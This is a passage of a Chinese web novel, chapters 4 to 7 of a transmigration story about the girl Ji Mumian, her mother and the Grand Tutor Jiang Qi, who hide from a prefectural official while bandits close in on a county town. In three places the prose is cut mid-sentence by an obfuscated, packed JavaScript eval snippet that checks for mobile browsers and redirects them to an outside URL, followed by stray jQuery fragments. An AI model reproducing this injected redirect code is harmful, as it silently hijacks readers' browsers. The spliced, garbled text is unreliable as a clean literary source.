尧麓人骁勇,所处地界又苦寒,从前朝起就屡屡骚扰边境诸城,这些年大崇式微,尧麓又正在进入繁盛时期,竟慢慢蚕食,边塞已有数镇沦陷。彭大人始终认为尧麓会发展成大崇的心腹之患,事实也的确如此,一镇复一县,一县复一城,步步退让,外敌尚未打进来又另外引起内部分裂,内忧外扰最终亡国。 当然,历史上的彭大人进京不久便“暴病而死”,死得又早又快又安详。而在原书中,彭大人之死被栽赃嫁祸给了纪木棉她娘,由此引发姜祈和纪书灵新一轮的误会和虐恋,纪书灵迫不得已假死隐居,姜祈因此疯魔,中间还搞出个替身文学,堪称全书最高潮。 县令和纪木棉前后脚,他见小丫头方才还跟猴儿一样抓不住,现在竟然乖巧立在一边没有惹事,赶紧抽空理理衣袍,先给上官行了个礼,他讪笑道,“乡下孩子不识礼数,还望彭大人见谅。” 彭千里并不是个小心眼,到了这个岁数,他还挺喜欢小孩,换作往常他肯定要哄一哄,唯独今日不同。 州府收到消息,怀疑姜太师奉旨南巡,出现在东梓县。 太师这次南巡的消息被捂了个严严实实,朝堂上半点消息都没放出来,所以歧州府衙门上下都摸不准门道,这两天简直抓耳挠腮,恨不能将税务、政务和军务都从头到尾梳理一遍,看看是哪里出了问题,竟引得圣上猜忌。 可惜包括彭千里在内,歧州府这几位就算全身上下所有的窍通通玲珑,也想不到姜太师纯粹为“爱”擅离职守,什么南巡,什么猜忌,都是他们想岔了道。 彭千里随之正色道,“我与施大人有要事商谈,还请屏退左右。” 他用词已经十分委婉,前厅一共三位闲人——老爷没到前,先端茶倒水稳局面的管家,跑去传信又重新跟回来的小厮和一个纪木棉,屏退左右自然是要将这三位闲人都赶出去。 纪木棉:“……”看书时不觉此书严谨,无论多要紧的机密最后都能泄露出去,一堆人能站在门口、挨着窗户、扒在房顶偷听,怎么自己一穿进来,感觉世界的bug都要被修复了。 虽然这个年纪撒泼打滚硬要留下也不是不行,可一来彭千里态度坚决,自己又是个小孩儿,生拖出去也就是个顺手的事;二来已经表现出了乖巧,此时撒泼会下施县令面子,让他难做,以后再有事想跟着去,县令未必松口。 权衡之下,纪木棉不等小厮来牵,便懂事道,“那我去门外玩儿。” 施县令松了口气,他的确怕纪木棉闹起来不好收场。 谁知人走到门口,拎着裙子正在爬门槛时,纪木棉忽然回身,委屈巴巴,“阿叔,我怕坏人闯进来把我抱走……绵绵能坐在门口等你吗?” 绵绵是原书中纪木棉的小名,她现在装七八岁的孩子装出了一点心得——其实干什么都可以,无论多幼稚都正常,偶尔成熟过头也无所谓,除了纪书灵,其它人并不仔细。 有上官在此,施县令不敢私自做主,他看了眼彭千里的脸色后才道,“自然可以。” 门一关,纪木棉就听到施县令顺着她铺好的路在借题发挥,信口就编出了一则故事,“我这侄女儿来的路上受了惊吓,因此有些疑神疑鬼的,还望彭大人见谅。” 彭千里果不其然被他带进了沟里,随口便问,“怎么受了惊吓?” “我这县中有座山名为瓦片子,匪患猖獗,时常绑票劫道……” “……” “……” 纪木棉“生前”毕竟是嘈杂环境中,仍能听清领导布置任务的底层办事员,尽管门有隔音之效,前厅空间又不小,听墙角不如在卧房时清楚,关键信息还是被她精准捕捉。 照彭千里所说,这歧州府衙门可不是省油的灯,不仅知道姜祈出现在东梓县,还知道他带了人马,什么时候到,已经到了几天,只是后来天气恶劣风雨交加,姜祈带人上了山,山路曲折难行,丢了太师一行人的踪迹,这才不得已由彭千里出面,找施县令配合,打算先找到人再说。 殊不知这人就呆在施且随施县令的后院中。 然后话题绕一圈,又被施县令带回,说起山上那股匪患来。 估计彭千里都觉得自己遭遇了鬼打墙,无论说什么,扯多远,都有个土匪在前面等着他。 施县令鬼精鬼精的,说到最后又提一嘴,“姜太师既带了人马,会不会是冲这伙匪徒来的?” 彭千里:“……” 姜祈一介文人,骑射再厉害也不可能上阵杀敌,何况他什么身份,下到一个毫无声名在外的小县只为剿匪……京城里是出了什么巨变,已经集体散伙不过了嘛? 纪木棉听着他们没完没了的囫囵话,有些担心半山腰上的村庄怎么样了,还有自家那半亩地,外头混不下去,带着阿娘依靠半亩地,至少两人还活得下去…… 响马屠村可不看时候,等施县令这边借到人马,都够他们杀穿好几轮,裴知节不在姜祈身边,会不会是留在村中以作防范? 若是他留在村中,太师在县衙露面也是为解决山匪而来……那姜祈是怎么转了性子,不视人命为草芥,也不把自己的安心建立在纪书灵家破人亡的痛苦之上了? 纪木棉的思绪正天马行空,耳边忽然传来一个略显稚嫩的声音,“你是谁,怎么在这里偷听!” 她受惊一抬头,只见台阶下站着个十岁出头的男孩,年纪虽小,已经有了些俊俏的底子,身上衣服干净整洁却略显宽大,袖子垂落便笼罩五指。他怀里抱着一摞书,照纪木棉看,像是刚放学回来。 “小少爷!”管家受县令信任,即使不清楚姜祈这一行人的身份,不过他刚刚听到了纪木棉的自我介绍,也见识了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415055|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县令老爷的默认,心里大概有了些计较,此时生怕自家少爷戳破真相,坏了老爷的计划。 小孩子不分男女,全都声音尖锐,很有穿透力,果不其然惊动了彭千里,前厅里的说话声猝然停下,而纪木棉则直接扑上去揪住了施醒的衣领,不等他反应过来便用尽全身力气往地上一拽,转眼施醒摔了个狗啃泥,他若舍得手上的书还好点,一时不忍差点下巴着地。 纪木棉:“……”她也没想到大病初愈,这男孩又高出自己大半个脑袋,竟如此不堪一击,说倒就倒。 事已至此,她只能一不做二不休,将寻常孩子打闹演化成混世魔王单方面虐待读书人,还得控制着手上分寸,不敢真下手将这“娇滴滴”手无缚鸡之力的少爷揍出好歹来。 一边揍还一边委屈嚎啕,“才两年不见,堂哥就不认识绵绵了!你揪过我头发,还抢过我……”纪木棉顿住,没想好在这个谎言里两个小孩儿应该抢些什么,干脆不说了,只干哭。 施醒:“……”莫名其妙被人放倒,拳头雨在头顶只抡不落,半天也就肩膀挨了两下,他有点懵,直到彭大人和施且随推门出来当和事佬,将二人拉开站定,纪木棉抱着施县令大腿委屈告状,他都没反应过来。 一切仿佛发生在电光火石之间。 管家还在他背后推了一把,示意道,“少爷,您几日未归,还不知道堂小姐来了吧。” 施醒:“……”他爹是孤星入命,刑亲克友,说句大不孝的话,全家人都快被他克死了,连自己都寄养在先生家,半月才回来一趟,从哪里来的兄弟姐妹,又从哪里来的这位堂小姐。 他满脸怒容,气得顾不上什么仪容仪态,书摞在一边就要撸袖子,幸好管家这一推,他脑子灵活,转弯尚及时,周围人如此态度,加上从紧闭房门里走出来一位身着官服的大人——他知道厉害,改口道,“原是堂妹,多年未见,一下子没认得出来,你便原谅我吧。” 说完,施醒不记刚刚挨打的仇,撸袖子茬架的动作顺势转化成了赔罪作揖。 “顽童打闹,又让彭大人见笑了。”施且随倒不似旁人紧张,他了解自己这个儿子,聪慧机敏有抱负,再有几个月便要着手考乡试了,考不考得上另说,这个年纪尚能慢慢来,只是他心思深沉,难以开解,没有点少年活泼向上不管不顾的气性。 纪木棉也是翻脸比翻书快,刚刚还在假装抹眼泪,见这一关能蒙混过去,赶紧去拉施醒的手,将他再快点带出旋涡中心……彭千里可不是好糊弄的昏官,他洞若观火,否则也不会早早看出大崇朝症结所在,眼下他最大的优点反而成了纪木棉最怕他的地方。 自她穿进这本书中,一切剧情的发展都有些反常,部分还是原文为了推动感情发展不得不硬凹的逻辑,部分又在往真实历史上靠。 姜祈出现在歧州这件事放原文并非大事,他想干什么,仰赖权势,都能干,乃至此刻直接露面给县令撑腰,喝退彭千里,甚至让彭千里给他磕三个响头,然后浩浩荡荡杀去歧州府肃清官场都正常。可现在所有人包括姜祈在内就像恢复了神智,都知道他没有圣旨擅离职守是重罪,哪怕权倾朝野都不行。 大崇皇权鼎盛,并未衰落,连士族门阀都在这一朝得到稍许削弱,姜祈位高说到底是皇帝宠幸赋予,形同造反的事可不敢做。 除此之外,纪木棉也不想让姜祈和陈三谦碰面……照现实逻辑走,姜祈罪犯滔天,得下大狱,亲眷流放的流放,贬斥的贬斥,会牵连到自己;照书中逻辑走,他会杀了陈三谦引起平秣陈氏的不满,全家包括纪书灵和自己在内都遭阴谋迫害。 若是让彭千里知道姜祈正在此处,他必会向上传达消息,惊动陈三谦就会陷入两方死局。 所以纪木棉拼了老命也要搅和其中帮忙隐瞒。 “等等,”纪木棉的脚尚未踏出院落,便听彭千里留客的声音道,“醒儿已长这么大了,上次我来时走路还不稳当呢。” 他顿一顿又道,“不知你这堂妹多年前才几岁……你都认不出来她,她却如此聪慧,连受过什么欺负都能记得一清二楚?” 5. 第 5 章 “完了。” 纪木棉不擅撒谎,穿进书中这段时间,她已经快将毕生演技都用光了,此刻只能一边告诫自己别慌,一边想,“彭大人就算有所怀疑,最多也就是觉得我们行为不当,可能对他有所隐瞒。” 于是纪木棉干脆一挺胸膛,厚着脸皮直接认领了“神童”的说法,“自然都记得,阿叔还说我若是男儿身,年纪轻轻考个状元也不在话下!” 既然是“神童”,说话用词也是一套一套的,连施且随都忍不住在心里感叹一句,“不愧是姜太师的女儿,小小年纪临危不惧。” 彭千里:“……” 他确实一瞬间起疑,也确实被纪木棉自信到堪称不要脸的一句话打消了疑虑。 “彭大人?彭大人……那关于本地盗匪的事,还望您能帮我想想办法。”施且随趁机扯开话题,他背后摆手,示意两个孩子赶紧溜,纪木棉也不负所望,她拽着施醒穿过院子,一直跑到后堂才停下。 施醒跟他爹一样,讲究个持正端方,这辈子没跨过这么大步,踉踉跄跄总算没摔倒。 他警惕地看了一圈四周,确定没人后才甩开胳膊,压着声音,毫不客气地质问纪木棉,“你到底是什么人,有什么目的!” 纪木棉:“……”这就有点过河拆桥了。 她刚刚装哭时硬挤出了一点眼泪,没擦,所以没全干,小木棉继承了她娘的部分优点,粉雕玉琢谈不上,乡野之人也没那个条件,不过可怜还是有几分可怜相,却上来就动手搡了一下施醒的胸口,“我是谁你最好别知道,万一说漏了嘴,连累施县令,都要砍头。” 气势够足,奈何身体不行,搡人的动作也没用上力,踮着脚尖倒像个气冲冲的刺猬。 施醒不受她威胁,冷静了一下,才重新开口问,“你们不把话说清楚,我就没办法配合,以彭大人的警觉,一样会说漏嘴。” “还有……彭大人出现在这里不会与你有关吧?”施醒也就比纪木棉大上三四岁,再怎么沉稳,稳到老气横秋的程度,也很难做到喜怒不形于色,他往后一步拉开距离,“你是被通缉的要犯?” 纪木棉:“……”怎么会有人说话既有道理又如此不中听。 她七八岁的身体还没完全发育,脑袋巴掌大,心眼缺一点,容易受惊,容易被感动,易哭易笑,纪木棉也不是很好控制,譬如眼下她猛地有些生气,斤斤计较起来,“弄不好我们几个都要变成通缉要犯。” “……还有彭大人官居辅事,只在一州府理下,不太可能孤身来到东梓县,所以这段时间你最好找个地方先躲一躲,别被他的随从撞见了问东问西。” 说完,纪木棉就打算撇下施醒,她刚刚听了不少墙脚,急着回去转达。 施醒长手长脚,比纪木棉高上许多,年纪相近灵活度也不相上下,想要甩开谈何容易。他闷声不吭跟在纪木棉身后,直跟到纪木棉脚底刹车,回过头,瞪着眼睛看他。 施醒彬彬有礼,被瞪了只轻声解释道,“我自幼借住他人府上,对这里的路……不是特别熟悉。” 纪木棉:“……”再不熟悉,这里也是他的家,遇路就走遇门就进,谁还能拦着他?进门后反手一锁,谁还能闯进去?就他两刚刚说话那院子里就有间矮屋,应是小厮住处,用来藏身最好不过了。 明知施醒就是在装可怜,可他分寸把握得太好,像是一团云,柔软清白没两斤,挥开又复拢,却不持续纠缠,只要纪木棉态度强硬几分,他便能灰心放弃……都是假象,纪木棉一边在心里骂着“小小年纪这么能骗人”,一边默许了施醒的跟随。 县令住的地方一共也没多大,只是因为两个孩子人小,院落显得宽敞,路也显得长,走回卧房时,纪木棉已经打听到施醒尚在襁褓中就没了娘,那会儿施县令尚未中解元,只是个普通秀才,一大家子就住在东梓县下的施庄上,以耕田为生。 后来似乎是飞来横祸,家里人只剩下了施县令和施醒。 作为交换,施醒也知道了纪木棉是位大官的女儿,涉及朝廷规矩,大官不能露面,而州府正在派人试探,他爹代为隐瞒已经牵扯其中,的确是弄个不好要下大狱。 施醒微微出了一身薄汗,要是方才他漏了破绽,这县衙门恐怕会不得安宁。 “这边是卧房,那边是偏厅,”纪木棉双手叉腰,比施醒更像主人,“偏厅里有那不能露面的人,我现在要去找他,你自己看着办吧。” 施醒喜欢刨根究底,眼下却犹豫片刻,转身推开了卧房门,他轻轻笑了一声:“有些事不该我知道。” 纪木棉:“……”她穿过来之前也接触过一些十一二岁的小男孩,皮的很,就算有懂事的也远不如施醒这般成熟通透。 虽然一早听说古时候人命短,恨不得在年满十六之前就成家立业,且家庭美满、事业有成、官拜中枢,亲身接触了还是觉得过于震撼。 所以当纪书灵听见动静将门开出一道缝时,就看见她家丫头张着嘴,一脸震惊的模样立在院中,倒是有点脑子“烧坏”之前的模样。 不过纪木棉只是被惊住,眼睛没瞎耳朵好使,她娘刚一开门纪木棉立马回神,小跑着冲进屋内,还将门从里面给拴上了。 “挑重点的说,”见识过了施醒的稳重,纪木棉更加放心大胆,演都不演了,上来就一副小大人的模样,“彭大人怀疑他……”纪木棉指一指正在续茶的姜祈,“他是钦差之类的东西奉旨暗访,已经到了这里,彭大人原话‘真查出什么不要紧,怕就怕他为了政绩,查不到硬查,甚至栽赃嫁祸’,至于施县令……他一心想剿匪。” 说完,纪木棉又仔细想了想,补上一句,“嗯,他们就是这么说的,我都记下了!” 姜祈老神在在添满茶甚至喝了一口,施县令要养活的人不多,另外还有些家底,所以俸禄之内,东西不算差但也谈不上多好,这茶还是将纪木棉安置在隔壁时泡上,已经续了几次水,味道寡淡,实在喝不出什么。 姜太师不愧为一代狗血文男主,风雅姿态拿捏十足,无论什么境遇,都没有丝毫狼狈相。 纪木棉拽着她娘的手往旁边避了避,生怕男主光环罩在自己身上,把自己罩成个降过智的路人甲。 纪书灵也莫名有种要装一装的冲动,明明没什么委屈事,见姜祈这个模样她就被动鼻子发酸、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415056|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眶发胀、喉咙发甜、头晕目眩,想要找个地方靠一靠,被纪木棉一拉才重新回过神。 纪木棉:“……” 看书时,男女主感情发展还挺暧昧顺畅,可眼下哪有半点暧昧气氛,纪书灵都不太搭理姜祈,留姜祈一个人在椅子上装蒜。 “绵绵……”纪书灵蹲下,帮纪木棉整理了一下衣裳,她当时穿得急,又不太懂形制,不少地方穿错了,还好小孩子本就粗手笨脚,穿错穿少都正常,只要妥帖便好。 “阿娘,”纪木棉全身戒备,盯着她娘时隐时现的光环,见她“绵绵”二字带着命苦的叹息声,刚压下去的光又迸溅出来,赶紧接口道,“彭大人说他……”纪木棉又指了指姜祈,“为了政绩会栽赃嫁祸,好坏啊!” 姜祈:“……”他光风霁月的面具裂了一道,茶杯在手中握得死紧。 偏偏纪书灵还点头称“是”,“他在外的声名确实不好,人皆视他为权欲熏心的酷吏。” 纪木棉适时装傻,“什么是……酷吏?” “就是坏人。”纪书灵说着,自己先笑了一下。她本来是个挺开朗的性子,豁达、心里不爱装事,才能捱住这么多年的苦。 姜祈不太计较纪木棉说了些什么,自己出场确实有些吓人,在这乡野间长大的孩子没见过什么世面,惊着了也属正常,可纪书灵说这话没有良心,自己行事或许霸道了些,但手中有权不滥用,酷吏更是无稽之谈。 他把手中茶杯捏得吱嘎作响,瓷面滑不溜啾,他又是个没用的读书人,捏半天除了关节有点疼之外,半点威慑力都没有,纪书灵甚至懒得看他。 姜祈:“……” 他的光环逐渐削弱,人也变得务实起来,“我躲在这里不露面终非良策,虽已遣了人上京请旨,却不知旨意何时能到,而歧州府已经开始怀疑,必然会咬死不放。” 他沉吟片刻,还没定下方案,后侧偏窗就响了响,一道人影直接拍开木栓,闯了进来。 房里三个人包括姜祈在内,全都是美丽“废物”,动嘴皮子还行,打架是万万不可,真要排个一二三,纪木棉大病未愈自然垫底,姜祈只比她好上一点,唯有纪书灵带着女儿荒郊野外住着茅草屋,警觉性很高,木栓刚崩裂,她已经抄起了桌上的茶壶,准备往来人头上敲。 还好那人不笨,知道一边翻窗一边表明身份,防止电光火石间看不清脸被误伤,他压低声音道:“裴知节前来回话。” 纪书灵重新将茶壶归位,还好里面的水已经被姜祈倒完,没洒出几滴,否则身上难免沾染茶渍,不好装无辜。 裴知节作为练武之人耳聪目明眼观八方,自然看见了这一幕,他跟姜祈的反应差不多,都不觉得奇怪,纪书灵十年前就会做陷阱捕猎物,会杀鸡放血拔鸡毛,关键时刻砸人脑袋这种事,她必然不会手软。 “什么事?”姜祈问。 “不知为何,徘徊在村子周围的小股土匪全都散去,我暗中跟上后发现他们与大部队汇合,整装待发,目标似乎是东梓县县城。”裴知节也不客气,找了个椅子直接坐了下来,“他们人不少,还有马匹,光县城这帮衙役恐怕防不住。” 6. 第 6 章 一时之间纪木棉要处理的信息有点多,她身体年龄还小,脑容量不太够,第一反应是:大崇尚未衰弱到群雄并起的阶段,体制冗余,但也能用,这伙匪徒杀个把人,惊动不了上面,兴许还能逍遥一段时日,大张旗鼓进攻县城,等同挑衅,歧州府戍卫必然有所动作。 随后,纪木棉才觉得故事走向有些不对,原书中不过一笔带过,用来衬托男主内心阴暗爬行的匪患怎会闹到如此地步,没马还好说,若有马队冲进县城面对平民就是砍瓜切菜,衙役也远不是对手,歧州府鞭长莫及,就算及时反应,从事发到戍卫营调兵过来,最快最快也要四个时辰。 四个时辰,足够东梓县血流成河。 饶是男主光环加身,任何时候都能化险为夷,把姜祈锻成了不急不躁的性子,这时候也有点坐不住了,“这些绿林响马杀人绑架无利不起早,忽然纠集起来进攻县城必然有所图……还有他们闹得这么大,朝廷围捕之下势单力薄,到时候就算固守县衙也于事无补,除非这伙贼人还有退路。” 一帮山贼能找到什么退路?纪木棉瞬间反应过来——是东边的水寇! 眼前豁然开朗,几个名字随之钻进了纪木棉脑海职中,她还记得原书里姜祈受到陷害,其中一项罪名就是“勾结外族,意图不轨”,并且证据链相对完整,既有进入他府中多年的家仆和他亲伯父为人证,也有多年通敌往来的书信为物证,甚至还有接头人,中间人……相互佐证。 其中这接头人的户籍就在歧州府东梓县,曾做过三载山贼,自号“秀才”,手上血债无数。 此事若处理不好,姜祈就会变成一个瘫痪在床、脾气暴躁、从早到晚挑不是的废人,而纪书灵脑子掏空,任打任骂还好说,之后五六年陷入战乱,动辄屠城吃人,纪书灵还要两根木棍捆一张草席,物理意义上拉着他到处求医问药。 纪木棉都不敢想到时自己要怎么活下来,她太平日子过久了,扪心自问,受不了颠沛流离刀刃加身的苦。 可……纪木棉急得团团转,大崇搞封建迷信很有一套,民间烧香、捆绑、喂符水的巫医比正儿八经学配药的大夫多出几十倍,朝中也有炼丹修行招摇撞骗的国师,从上到下一脉相承都爱驱鬼。 她之前说那些话还能装作是学舌,再过,难保不会被当成邪灵附身,摁住了用柳枝子抽。 纪木棉脑海里还残存着原主的记忆,原主总是浑浑噩噩,饭可吃可不吃,话可说可不说,即便如此,纪书灵还是会抽空教她识字明理,所耗心力甚剧。 越是向内探索,纪木棉的心越是柔软,她本来只是想借原主的回忆尽快熟悉纪书灵,继而推演该如何引导,让纪书灵自己联想到关键信息。谁知越回想越愧疚,她感觉自己也是半个土匪,抢了人家的母女缘分。 泪腺再次不受管控,等纪木棉反应过来时,一屋子人都盯了过来,纪书灵给她擦眼泪都来不及,衣袖全湿透了。 姜祈皱眉:“……遇到点事就吓成这样,你还敢说这孩子是我的血脉?!” 纪木棉:“……” 她刚刚还道德标准太高,同理心过剩,要死要活地难过,怀疑自己不是个东西,为了活命鸠占鹊巢,听到姜祈这话,瞬间想到原主临死之前还要遭受风吹雨淋舟车劳顿,尸骨未寒开棺两次,埋进土里还要被刨,身世问题没完没了,马上就“嘶”一声原地复活,要是身高够,她能一巴掌拍姜祈脸上。 现下身高不够,只能结结实实锤了一下姜祈膝盖。 纪木棉眼泪尚未擦干,脸还红着,小孩子的身体哭起来容易通气不够,一抽一抽的,想要吐字清晰只能咬牙切齿,她还瞪着姜祈,小小年纪像是要吃人,“我当然怕土匪啊!有本事你别当缩头乌龟,带了这么多人来就好好保护我和娘!” 她这个年纪的嗓门有其独特的杀伤性,又尖又利,吼完,纪木棉舒坦了一些,又拽拽纪书灵的袖子道,“阿娘,我们有马,是不是可以跑路啊?” 姜祈为了撑台面,这一行包括他自己在内有一二十人,小半骑马,剩下的走水路,接纪书灵的车架都是到了歧州府后备下。 而这穷乡僻壤一队山贼,纠集起来绝不超过五十,能有二三十已经不错,兵器在朝廷管控之下难以齐备,马匹更加屈指可数,把姜太师的亲卫编入衙役中共同抵抗,不说能赢,撑四个时辰等歧州府上的救兵搬到,应该不成问题。 纪木棉这番话正好点在姜祈心上,他带来的都是府中精兵强将,只是此番南下,兴师动众的理由略显荒诞,不好明说,姜祈也没让他们随身带兵器,至于马队……有他镇场几无阻碍。 也因这一路亮过身份,姜祈知道上面那位肯定收到了消息,没做声就是在纵容,这道“南下巡查”的旨意要请并不难,关键是难以拿捏尺度。 绑一个女人和孩子回京好说,朝臣们蛐蛐两句“无私德”便罢了,反正他名声也不好听,可是碰了歧州官场,很多事都会发生变化,姜祈手中越是有权,位置坐的越高,也就越发如履薄冰。 思索一阵,姜祈一个眼神递过去,裴知节立刻掌握了他的意思,“放心吧……已经遣人拿了你的令牌去通知歧州府戍卫营了,我们的人也已经打散,一半我让他们留在附近山野中待命,另一半乔装混入城中,方便随时调动。” 说完,裴知节从袖子里掏出两枚令箭,一枚放在桌子上,推到姜祈面前,另一枚则交给纪书灵,“点燃引线,然后松手,我们的人收到信号会立刻赶到附近。” 纪木棉闻言,撸起袖子伸出手,几乎要将指尖戳到裴知节眼睛底下,裴知节:“……” 他抬头看向纪书灵,原本是想求援,谁知纪书灵坚定站在她家姑娘那边,双眼对四目,不一会儿裴知节就败下阵来,他揉了揉发酸的眼睛,又掏出一枚令箭放在纪木棉掌心,叮嘱道,“能救命的东西,别乱玩儿。” 纪木棉昂首挺胸“哼”一声,“我知道!” 全程,裴知节都没指望自家太师能做主,他两从小一起长大,再怎么愚钝也能摸清对方的性格,姜祈大事不耽搁不过脑子有点小问题,纪书灵就是那个小问题。人后提她时温柔且贴心,恨不得安排好一切,怕她受半点风雨,真遇见了,姜祈瞬间翻脸,又自卑又自负,死钻牛角尖还听不懂人话……根本就是个完蛋玩意儿。 姜祈也确实如他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415057|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所想,端着空杯子半背身,看天看地看空气,就是不看眼前人。 微妙的氛围在房间中漫延,纪木棉强行忽略了周遭空气,先将手中令箭盘玩一阵,等研究透了才拿出几分天真无邪,“我们的人收到信号会赶过来,那坏人呢?他们在哪儿?赶不过来吗?” 裴知节和姜祈的脸色忽然一变,裴知节猛地掠起,一句话不说又从窗户跳了出去,转瞬消失在视野中…… 他送出令箭的内在逻辑与“童言”正相反,应该是先遇到危险,放出信号,会有亲兵来救,却忽略了危险何来——自己人能混进城,散落附近,山贼为何不可?他们盘踞东梓县多年,抄小路过渡口,速度还要更快! “这就是说话的艺术了,”纪木棉在心里给自己竖了根大拇指,“这么多年的网课不白学。” 就在裴知节跃出窗户的瞬间,死死关上的花厅门被人从外敲动,姜祈压低声音问,“谁?” “老爷让我来给几位送点吃食。”门外的应当是个小厮,声音低沉稳健,听起来年龄偏大,约有三四十岁。 纪书灵立马察觉有些不对,施且随家业不大,除了管事的之外,只有小厮两位,其中一个还兼任厨子。 纪木棉昏睡时她这个当娘的仗着自己是生面孔,曾在院子里逛了逛,跟管家小厮都打过照面,除管家外其它人都很年轻,属于家中困难或年龄尚小又无亲眷,活不下去才被施且随收留,平常会教些读书识字以及谋生技能,到了年纪放出府外不至于饿死也不至于当流氓在县里闹事。 而门外这人显然超出了年纪,敲门的时机也很凑巧……他身影通过阳光投映在窗框上,看得出十分高大,屋里唯一能打架的那个刚走,他后脚就到,怎么看都有问题。 见门内迟迟没有动静,那人又加大了手劲,施且随的住处连着县衙,眼下都忙着接待上官,这最后一排动静再大也惊动不了前院,外面的人明显是深知这一点,因此有恃无恐,门闩都随着他的动作晃动起来。 纪木棉一开始怀疑此人是彭千里的随从,但很快打消了念头,歧州官府把姜祈当成“钦差”,肯定会叮嘱下去小心行事,不至于如此无礼……既非小厮,又非随从,纪木棉有些想不到还有谁可以在此时混进县衙,正正好来敲姜太师的房门。 就在房内人惊疑不定时,门外人的动作却猝然停住,只听一个少年厉声喝道,“我没见过你,你究竟是什么人!”说完,他又威胁,“你别以为这院子空着就能为所欲为,真闹起来肯定会有人听见!” 东梓县县衙就这么大的地,卧房三间,院子两个,以内院为例,从花厅到院门不过二十尺,只能容纳几颗树,跑两步就到。施醒现在看着是文绉绉的,一副老成相,小时候也皮的很,施县令想抓他都抓不住……只要有人能蹿进前院,扯着嗓门喊救命,这男人所图之事就成不了。 施醒现在也是壮着一颗胆子,没空闲去想这人从何而来,为何而来,如何而来,只勉强注意到他身上确实穿着自家小厮的布衣,还挺合适,像挑过的。 更没想到的是,他不认识这人,这人却认识他,开口便道,“少爷,你怎么在今天回来了?” 7. 第 7 章 纪木棉贴着门缝,这门略微有些年久失修,被大力拍打后有一边的轴矮陷,中间便出现了指甲盖宽一条缝,能勉强看清外面的情况。 “哇,他认识施哥哥哎。”语气有些夸张,心里的惊讶却并非作假,纪木棉绞尽脑汁,试图从原文和历史事件中找到这一段,哪怕类似也好,可惜毫无收获,像是在原文和历史之外又重新构建出一个新世界来。 纪木棉忍不住想,“这不会是我的功劳?我还以为开了上帝视角穿文会很爽来着,这爽吗?!” 很快纪书灵也凑了上来,她问,“外面那孩子姓施?是施县令什么人?” “是县令儿子。”其实在得到回答前,纪书灵心里已经有了猜想,她指了指外面那高大的男人,又问:“绵绵,你觉得这个人有什么问题?” 外面那人搡门的动作虽然粗鲁,但观他和施醒说话的姿态,显然是读过书,学过礼仪,举止算得上文雅。 他肤色黝黑,穿着短打,衣服略旧,有补丁,袖口被翻到肘部以上卷几圈固定住,而小臂有不少伤疤,颜色或轻或重,大部分纪木棉看不清形态,只有一道很严重,足有四寸来长,混着些近几天剌出来的红痕,看起来是个干力气活儿的。 纪木棉穿越前的单位说好听点在市里,其实就是个城乡结合部,这两年才从县改成的区,有城里的事要管,也有村里的事要管,不仅如此,她小时候也在农村长大,见过种地做重活的人,太穷了买不起工具辅助,凡事得自己来,所以身上总是深一道浅一道,就算能避免被利器割伤,锋利些的草叶子也会留下伤口。 跟门外这男人的状况很相似。 那就奇怪了……纪木棉知道在大崇读书,除非世袭罔替的达官显贵之外,没有陶冶情操、兴趣所在这一说,只要读书,哪怕身在世家大族,也都是为了应试中举。 读书门槛被这些人设立得极高,一个书生家里不说有万贯,至少要能吃饱穿暖,他们是不需要下地干活儿的,家里人也不让,耽误读书的时间。 若一直考不中,虽不至于老死不事生产,干力气活儿的仍然十分稀少,一来家中不缺那点铜板,二来读过书,可以做账房先生,私塾先生,若在乡试中有个名次混上秀才,当师爷或者有钱人家的门客都是更好的出路。 门外这人是什么情况,读书读几年忽然发现自己体格子很不错,适合下地干活儿,所以好劳恶逸,抛下家世和过往,卖上了力气? 纪木棉的身体还在发育阶段,舌头不太听头脑的使唤,低语时瓮声瓮气的,“阿娘,他好文气哦,我在田里没见过这样的。” 半亩桑地农忙时,纪书灵会用裤带子将自家痴痴呆呆的女儿拴住,就拴在树边,自己能看到的地方,所以在原主的记忆中经常会看到隔壁田里忙碌的佃户和农奴,纪木棉斟酌后,才拼凑出这句话。 “嗯……”纪书灵用下巴蹭了蹭女儿头顶,将她半个人环抱在怀中,“很会观察,但不仅如此,你看他……不慌不忙的。” 施醒还在跟那人纠缠,按道理他如果是乘人不备混进来的,行事必然匆促紧张,而施醒不过一个半大孩子,以二者的体型他先将人逮住捆绑甚至杀害,之后强行破门而入的风险,要远低于彼此大眼瞪小眼。 除非他在暗处还有帮手! 纪木棉在心里“哇哇哇”的惨叫,高中早五晚十的日子挨过了,考研、考公、考事业单位她也广撒网式拼过了,后来的办公室政治她更是卷在里面……别的不说,自保无虞,像个左右逢源的不粘锅。 